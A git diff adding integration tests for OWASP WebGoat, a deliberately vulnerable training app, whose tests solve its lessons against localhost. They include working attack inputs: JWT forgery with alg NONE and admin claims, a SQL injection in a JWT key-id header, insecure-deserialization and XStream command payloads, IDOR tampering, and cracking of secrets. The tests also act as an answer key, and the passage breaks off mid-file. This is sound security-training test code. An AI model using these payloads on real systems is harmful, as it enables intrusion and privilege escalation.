b/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java @@ -0,0 +1,134 @@ +package org.owasp.webgoat; + +import static org.junit.jupiter.api.Assertions.fail; + +import java.nio.charset.Charset; +import java.security.NoSuchAlgorithmException; +import java.security.PrivateKey; +import java.security.interfaces.RSAPrivateKey; +import java.security.spec.InvalidKeySpecException; +import java.util.Base64; +import java.util.HashMap; +import java.util.Map; + +import javax.xml.bind.DatatypeConverter; + +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.lessons.cryptography.CryptoUtil; +import org.owasp.webgoat.lessons.cryptography.HashingAssignment; + +import io.restassured.RestAssured; + +public class CryptoIntegrationTest extends IntegrationTest { + + @Test + public void runTests() { + startLesson("Cryptography"); + + checkAssignment2(); + checkAssignment3(); + + // Assignment 4 + try { + checkAssignment4(); + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + fail(); + } + + try { + checkAssignmentSigning(); + } catch (Exception e) { + e.printStackTrace(); + fail(); + } + + checkAssignmentDefaults(); + + checkResults("/crypto"); + + } + + private void checkAssignment2() { + + String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract() + .asString(); + basicEncoding = basicEncoding.substring("Authorization: Basic ".length()); + String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes())); + String answer_user = decodedString.split(":")[0]; + String answer_pwd = decodedString.split(":")[1]; + Map params = new HashMap<>(); + params.clear(); + params.put("answer_user", answer_user); + params.put("answer_pwd", answer_pwd); + checkAssignment(url("/crypto/encoding/basic-auth"), params, true); + } + + private void checkAssignment3() { + String answer_1 = "databasepassword"; + Map params = new HashMap<>(); + params.clear(); + params.put("answer_pwd1", answer_1); + checkAssignment(url("/crypto/encoding/xor"), params, true); + } + + private void checkAssignment4() throws NoSuchAlgorithmException { + + String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/crypto/hashing/md5")).then().extract().asString(); + + String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/crypto/hashing/sha256")).then().extract().asString(); + + String answer_1 = "unknown"; + String answer_2 = "unknown"; + for (String secret : HashingAssignment.SECRETS) { + if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) { + answer_1 = secret; + } + if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) { + answer_2 = secret; + } + } + + Map params = new HashMap<>(); + params.clear(); + params.put("answer_pwd1", answer_1); + params.put("answer_pwd2", answer_2); + checkAssignment(url("/WebGoat/crypto/hashing"), params, true); + } + + private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException { + + String privatePEM = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/crypto/signing/getprivate")) + .then() + .extract().asString(); + PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM); + + RSAPrivateKey privk = (RSAPrivateKey) privateKey; + String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray()); + String signature = CryptoUtil.signMessage(modulus, privateKey); + Map params = new HashMap<>(); + params.clear(); + params.put("modulus", modulus); + params.put("signature", signature); + checkAssignment(url("/crypto/signing/verify"), params, true); + } + + private void checkAssignmentDefaults() { + + String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8")))); + + Map params = new HashMap<>(); + params.clear(); + params.put("secretText", text); + params.put("secretFileName", "default_secret"); + checkAssignment(url("/crypto/secure/defaults"), params, true); + } + +} diff --git a/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java b/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java new file mode 100644 index 000000000..496d6cfa8 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java @@ -0,0 +1,34 @@ +package org.owasp.webgoat; + +import org.dummy.insecure.framework.VulnerableTaskHolder; +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.lessons.deserialization.SerializationHelper; + +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + +public class DeserializationIntegrationTest extends IntegrationTest { + + private static String OS = System.getProperty("os.name").toLowerCase(); + + @Test + public void runTests() throws IOException { + startLesson("InsecureDeserialization"); + + Map params = new HashMap<>(); + params.clear(); + + if (OS.indexOf("win") > -1) { + params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5"))); + } else { + params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5"))); + } + checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true); + + checkResults("/InsecureDeserialization/"); + + } + + +} diff --git a/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java b/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java new file mode 100644 index 000000000..8522681a5 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java @@ -0,0 +1,210 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import java.util.HashMap; +import java.util.Map; +import org.hamcrest.CoreMatchers; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.Test; +import org.springframework.util.StringUtils; + +public class GeneralLessonIntegrationTest extends IntegrationTest { + + @Test + public void httpBasics() { + startLesson("HttpBasics"); + Map params = new HashMap<>(); + params.clear(); + params.put("person", "goatuser"); + checkAssignment(url("HttpBasics/attack1"), params, true); + + params.clear(); + params.put("answer", "POST"); + params.put("magic_answer", "33"); + params.put("magic_num", "4"); + checkAssignment(url("HttpBasics/attack2"), params, false); + + params.clear(); + params.put("answer", "POST"); + params.put("magic_answer", "33"); + params.put("magic_num", "33"); + checkAssignment(url("HttpBasics/attack2"), params, true); + + checkResults("/HttpBasics/"); + } + + @Test + public void httpProxies() { + startLesson("HttpProxies"); + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("x-request-intercepted", "true") + .contentType(ContentType.JSON) + .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + CoreMatchers.is(true)); + + checkResults("/HttpProxies/"); + } + + @Test + public void cia() { + startLesson("CIA"); + Map params = new HashMap<>(); + params.clear(); + params.put( + "question_0_solution", + "Solution 3: By stealing a database where names and emails are stored and uploading it to a website."); + params.put( + "question_1_solution", + "Solution 1: By changing the names and emails of one or more users stored in a database."); + params.put( + "question_2_solution", + "Solution 4: By launching a denial of service attack on the servers."); + params.put( + "question_3_solution", + "Solution 2: The systems security is compromised even if only one goal is harmed."); + checkAssignment(url("/WebGoat/cia/quiz"), params, true); + checkResults("/cia/"); + } + + @Test + public void vulnerableComponents() { + if (StringUtils.hasText(System.getProperty("running.in.docker"))) { + String solution = + "\n" + + "org.owasp.webgoat.lessons.vulnerablecomponents.Contact\n" + + " \n" + + " \n" + + " \n" + + " calc.exe\n" + + " \n" + + " \n" + + " start\n" + + " \n" + + ""; + startLesson("VulnerableComponents"); + Map params = new HashMap<>(); + params.clear(); + params.put("payload", solution); + checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true); + checkResults("/VulnerableComponents/"); + } + } + + @Test + public void insecureLogin() { + startLesson("InsecureLogin"); + Map params = new HashMap<>(); + params.clear(); + params.put("username", "CaptainJack"); + params.put("password", "BlackPearl"); + checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true); + checkResults("/InsecureLogin/"); + } + + @Test + public void securePasswords() { + startLesson("SecurePasswords"); + Map params = new HashMap<>(); + params.clear(); + params.put("password", "ajnaeliclm^&&@kjn."); + checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true); + checkResults("SecurePasswords/"); + + startLesson("AuthBypass"); + params.clear(); + params.put("secQuestion2", "John"); + params.put("secQuestion3", "Main"); + params.put("jsEnabled", "1"); + params.put("verifyMethod", "SEC_QUESTIONS"); + params.put("userId", "12309746"); + checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true); + checkResults("/auth-bypass/"); + + startLesson("HttpProxies"); + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("x-request-intercepted", "true") + .contentType(ContentType.JSON) + .get( + url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + CoreMatchers.is(true)); + checkResults("/HttpProxies/"); + } + + @Test + public void chrome() { + startLesson("ChromeDevTools"); + + Map params = new HashMap<>(); + params.clear(); + params.put("param1", "42"); + params.put("param2", "24"); + + String result = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("webgoat-requested-by", "dom-xss-vuln") + .header("X-Requested-With", "XMLHttpRequest") + .formParams(params) + .post(url("/WebGoat/CrossSiteScripting/phone-home-xss")) + .then() + .statusCode(200) + .extract() + .path("output"); + String secretNumber = result.substring("phoneHome Response is ".length()); + + params.clear(); + params.put("successMessage", secretNumber); + checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true); + + params.clear(); + params.put("number", "24"); + params.put("network_num", "24"); + checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true); + + checkResults("/ChromeDevTools/"); + } + + @Test + public void authByPass() { + startLesson("AuthBypass"); + Map params = new HashMap<>(); + params.clear(); + params.put("secQuestion2", "John"); + params.put("secQuestion3", "Main"); + params.put("jsEnabled", "1"); + params.put("verifyMethod", "SEC_QUESTIONS"); + params.put("userId", "12309746"); + checkAssignment(url("/auth-bypass/verify-account"), params, true); + checkResults("/auth-bypass/"); + } + + @Test + public void lessonTemplate() { + startLesson("LessonTemplate"); + Map params = new HashMap<>(); + params.clear(); + params.put("param1", "secr37Value"); + params.put("param2", "Main"); + checkAssignment(url("/lesson-template/sample-attack"), params, true); + checkResults("/lesson-template/"); + } +} diff --git a/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java b/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java new file mode 100644 index 000000000..56308d92d --- /dev/null +++ b/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java @@ -0,0 +1,98 @@ +package org.owasp.webgoat; + + +import static org.junit.jupiter.api.DynamicTest.dynamicTest; + +import java.io.IOException; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; + +import org.hamcrest.CoreMatchers; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DynamicTest; +import org.junit.jupiter.api.TestFactory; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import lombok.SneakyThrows; + +public class IDORIntegrationTest extends IntegrationTest { + + @BeforeEach + @SneakyThrows + public void init() { + startLesson("IDOR"); + } + + @TestFactory + Iterable testIDORLesson() { + return Arrays.asList( + dynamicTest("login",()-> loginIDOR()), + dynamicTest("profile", () -> profile()) + ); + } + + @AfterEach + public void shutdown() throws IOException { + checkResults("/IDOR"); + } + + private void loginIDOR() throws IOException { + + Map params = new HashMap<>(); + params.clear(); + params.put("username", "tom"); + params.put("password", "cat"); + + + checkAssignment(url("/WebGoat/IDOR/login"), params, true); + + } + + private void profile() { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/IDOR/profile")) + .then() + .statusCode(200) + .extract().path("userId"), CoreMatchers.is("2342384")); + Map params = new HashMap<>(); + params.clear(); + params.put("attributes", "userId,role"); + checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true); + params.clear(); + params.put("url", "WebGoat/IDOR/profile/2342384"); + checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true); + + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/IDOR/profile/2342388")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) //part of the lesson + .body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}") + .put(url("/WebGoat/IDOR/profile/2342388")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + + + } + +} diff --git a/src/it/java/org/owasp/webgoat/IntegrationTest.java b/src/it/java/org/owasp/webgoat/IntegrationTest.java new file mode 100644 index 000000000..c04c9578d --- /dev/null +++ b/src/it/java/org/owasp/webgoat/IntegrationTest.java @@ -0,0 +1,231 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import lombok.Getter; +import org.hamcrest.CoreMatchers; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; + +import java.util.Map; +import java.util.Objects; + +import static io.restassured.RestAssured.given; + +public abstract class IntegrationTest { + + private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport")); + @Getter + private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport")); + private static boolean useSSL = false; + private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/"; + private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/"; + @Getter + private String webGoatCookie; + @Getter + private String webWolfCookie; + @Getter + private String user = "webgoat"; + + protected String url(String url) { + url = url.replaceFirst("/WebGoat/", ""); + url = url.replaceFirst("/WebGoat", ""); + url = url.startsWith("/") ? url.replaceFirst("/", "") : url; + return webgoatUrl + url; + } + + protected String webWolfUrl(String url) { + url = url.replaceFirst("/WebWolf/", ""); + url = url.replaceFirst("/WebWolf", ""); + url = url.startsWith("/") ? url.replaceFirst("/", "") : url; + return webWolfUrl + url; + } + + @BeforeEach + public void login() { + String location = given() + .when() + .relaxedHTTPSValidation() + .formParam("username", user) + .formParam("password", "password") + .post(url("login")).then() + .cookie("JSESSIONID") + .statusCode(302) + .extract().header("Location"); + if (location.endsWith("?error")) { + webGoatCookie = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .formParam("username", user) + .formParam("password", "password") + .formParam("matchingPassword", "password") + .formParam("agree", "agree") + .post(url("register.mvc")) + .then() + .cookie("JSESSIONID") + .statusCode(302) + .extract() + .cookie("JSESSIONID"); + } else { + webGoatCookie = given() + .when() + .relaxedHTTPSValidation() + .formParam("username", user) + .formParam("password", "password") + .post(url("login")).then() + .cookie("JSESSIONID") + .statusCode(302) + .extract().cookie("JSESSIONID"); + } + + webWolfCookie = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .formParam("username", user) + .formParam("password", "password") + .post(webWolfUrl("login")) + .then() + .statusCode(302) + .cookie("WEBWOLFSESSION") + .extract() + .cookie("WEBWOLFSESSION"); + } + + @AfterEach + public void logout() { + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .get(url("logout")) + .then() + .statusCode(200); + } + + public void startLesson(String lessonName) { + startLesson(lessonName, false); + } + + public void startLesson(String lessonName, boolean restart) { + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url(lessonName + ".lesson.lesson")) + .then() + .statusCode(200); + + if (restart) { + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/restartlesson.mvc")) + .then() + .statusCode(200); + } + } + + public void checkAssignment(String url, Map params, boolean expectedResult) { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(params) + .post(url) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); + } + + public void checkAssignmentWithPUT(String url, Map params, boolean expectedResult) { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(params) + .put(url) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); + } + + //TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package) + public void checkResults(String prefix) { + checkResults(); + + MatcherAssert.assertThat(RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/lessonoverview.mvc")) + .then() + .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix))); + + } + + public void checkResults() { + var result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/lessonoverview.mvc")) + .andReturn(); + + MatcherAssert.assertThat(result.then() + .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true))); + } + + public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(contentType) + .cookie("JSESSIONID", getWebGoatCookie()) + .body(body) + .post(url) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); + } + + public void checkAssignmentWithGet(String url, Map params, boolean expectedResult) { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .queryParams(params) + .get(url) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); + } + + public String getWebWolfFileServerLocation() { + String result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/file-server-location")) + .then() + .extract().response().getBody().asString(); + result = result.replace("%20", " "); + return result; + } + + public String webGoatServerDirectory() { + return RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/server-directory")) + .then() + .extract().response().getBody().asString(); + } + +} + diff --git a/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java b/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java new file mode 100644 index 000000000..536eec117 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java @@ -0,0 +1,216 @@ +package org.owasp.webgoat; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; +import java.time.Instant; +import java.util.Base64; +import java.util.Calendar; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +import org.hamcrest.CoreMatchers; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.Test; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; + +import io.jsonwebtoken.Header; +import io.jsonwebtoken.JwsHeader; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; +import io.jsonwebtoken.impl.TextCodec; +import io.restassured.RestAssured; +import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint; + +public class JWTLessonIntegrationTest extends IntegrationTest { + + @Test + public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException { + startLesson("JWT"); + + decodingToken(); + + resetVotes(); + + findPassword(); + + buyAsTom(); + + deleteTom(); + + quiz(); + + checkResults("/JWT/"); + } + + private String generateToken(String key) { + + return Jwts.builder() + .setIssuer("WebGoat Token Builder") + .setAudience("webgoat.org") + .setIssuedAt(Calendar.getInstance().getTime()) + .setExpiration(Date.from(Instant.now().plusSeconds(60))) + .setSubject("tom@webgoat.org") + .claim("username", "WebGoat") + .claim("Email", "tom@webgoat.org") + .claim("Role", new String[] {"Manager", "Project Administrator"}) + .signWith(SignatureAlgorithm.HS256, key).compact(); + } + + private String getSecretToken(String token) { + for (String key : JWTSecretKeyEndpoint.SECRETS) { + try { + Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token); + } catch (JwtException e) { + continue; + } + return TextCodec.BASE64.encode(key); + } + return null; + } + + private void decodingToken() { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("jwt-encode-user", "user") + .post(url("/WebGoat/JWT/decode")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + + } + + private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException { + + String accessToken = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/JWT/secret/gettoken")) + .then() + .extract().response().asString(); + + String secret = getSecretToken(accessToken); + + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("token", generateToken(secret)) + .post(url("/WebGoat/JWT/secret")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + + } + + private void resetVotes() throws IOException { + String accessToken = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/JWT/votings/login?user=Tom")) + .then() + .extract().cookie("access_token"); + + String header = accessToken.substring(0, accessToken.indexOf(".")); + header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset()))); + + String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf(".")); + body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset()))); + + ObjectMapper mapper = new ObjectMapper(); + JsonNode headerNode = mapper.readTree(header); + headerNode = ((ObjectNode) headerNode).put("alg","NONE"); + + JsonNode bodyObject = mapper.readTree(body); + bodyObject = ((ObjectNode) bodyObject).put("admin","true"); + + String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())) + .concat(".") + .concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString()) + .concat(".").replace("=", ""); + + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .cookie("access_token", replacedToken) + .post(url("/WebGoat/JWT/votings")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void buyAsTom() throws IOException { + + String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset()))); + + String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset()))); + + body = body.replace("Jerry", "Tom"); + + ObjectMapper mapper = new ObjectMapper(); + JsonNode headerNode = mapper.readTree(header); + headerNode = ((ObjectNode) headerNode).put("alg", "NONE"); + + String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".") + .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString()) + .concat(".").replace("=", ""); + + MatcherAssert.assertThat(RestAssured.given() + .when().relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("Authorization","Bearer "+replacedToken) + .post(url("/WebGoat/JWT/refresh/checkout")) + .then().statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void deleteTom() { + + Map header = new HashMap(); + header.put(Header.TYPE, Header.JWT_TYPE); + header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --"); + String token = Jwts.builder() + .setHeader(header) + .setIssuer("WebGoat Token Builder") + .setAudience("webgoat.org") + .setIssuedAt(Calendar.getInstance().getTime()) + .setExpiration(Date.from(Instant.now().plusSeconds(60))) + .setSubject("tom@webgoat.org") + .claim("username", "Tom") + .claim("Email", "tom@webgoat.org") + .claim("Role", new String[] {"Manager", "Project Administrator"}) + .signWith(SignatureAlgorithm.HS256, "deletingTom").compact(); + + MatcherAssert.assertThat(RestAssured.given() + .when().relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .post(url("/WebGoat/JWT/final/delete?token="+token)) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void quiz() { + Map params = new HashMap<>(); + params.put("question_0_solution", "Solution 1"); + params.put("question_1_solution", "Solution 2"); + + checkAssignment(url("/WebGoat/JWT/quiz"), params, true); + } + +} diff --git a/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java b/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java new file mode 100644 index 000000000..1f99c15e7 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java @@ -0,0 +1,170 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import io.restassured.path.json.JsonPath; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import java.io.FileInputStream; +import java.io.InputStream; +import java.util.List; +import java.util.Properties; + +public class LabelAndHintIntegrationTest extends IntegrationTest { + + final static String ESCAPE_JSON_PATH_CHAR = "\'"; + + @Test + public void testSingleLabel() { + Assertions.assertTrue(true); + JsonPath jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","en") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); + + Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR)); + + // check if lang parameter overrules Accept-Language parameter + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","en") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","en") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + // check if invalid language returns english + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","nl") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + // check if invalid language returns english + jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language","xx_YY") + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); + Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); + + } + + @Test + public void testHints() { + JsonPath jsonPathLabels = getLabels("en"); + List allLessons = List.of( + "HttpBasics", + "HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal", + "XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession", + "SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced", + "Challenge1"); + for (String lesson: allLessons) { + startLesson(lesson); + List hintKeys = getHints(); + for (String key : hintKeys) { + String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR); + //System.out.println("key: " + key + " ,value: " + keyValue); + Assertions.assertNotNull(keyValue); + Assertions.assertNotEquals(key, keyValue); + } + } + //Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0)); + } + + @Test + public void testLabels() { + + JsonPath jsonPathLabels = getLabels("en"); + Properties propsDefault = getProperties(""); + for (String key: propsDefault.stringPropertyNames()) { + String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR); + Assertions.assertNotNull(keyValue); + } + checkLang(propsDefault,"nl"); + checkLang(propsDefault,"de"); + checkLang(propsDefault,"fr"); + checkLang(propsDefault,"ru"); + + } + + private Properties getProperties(String lang) { + Properties prop = null; + if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; } + try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) { + + prop = new Properties(); + // load a properties file + prop.load(input); + } catch (Exception e) { + e.printStackTrace(); + } + return prop; + } + + private void checkLang(Properties propsDefault, String lang) { + JsonPath jsonPath = getLabels(lang); + Properties propsLang = getProperties(lang); + + for (String key: propsLang.stringPropertyNames()) { + if (!propsDefault.containsKey(key)) { + 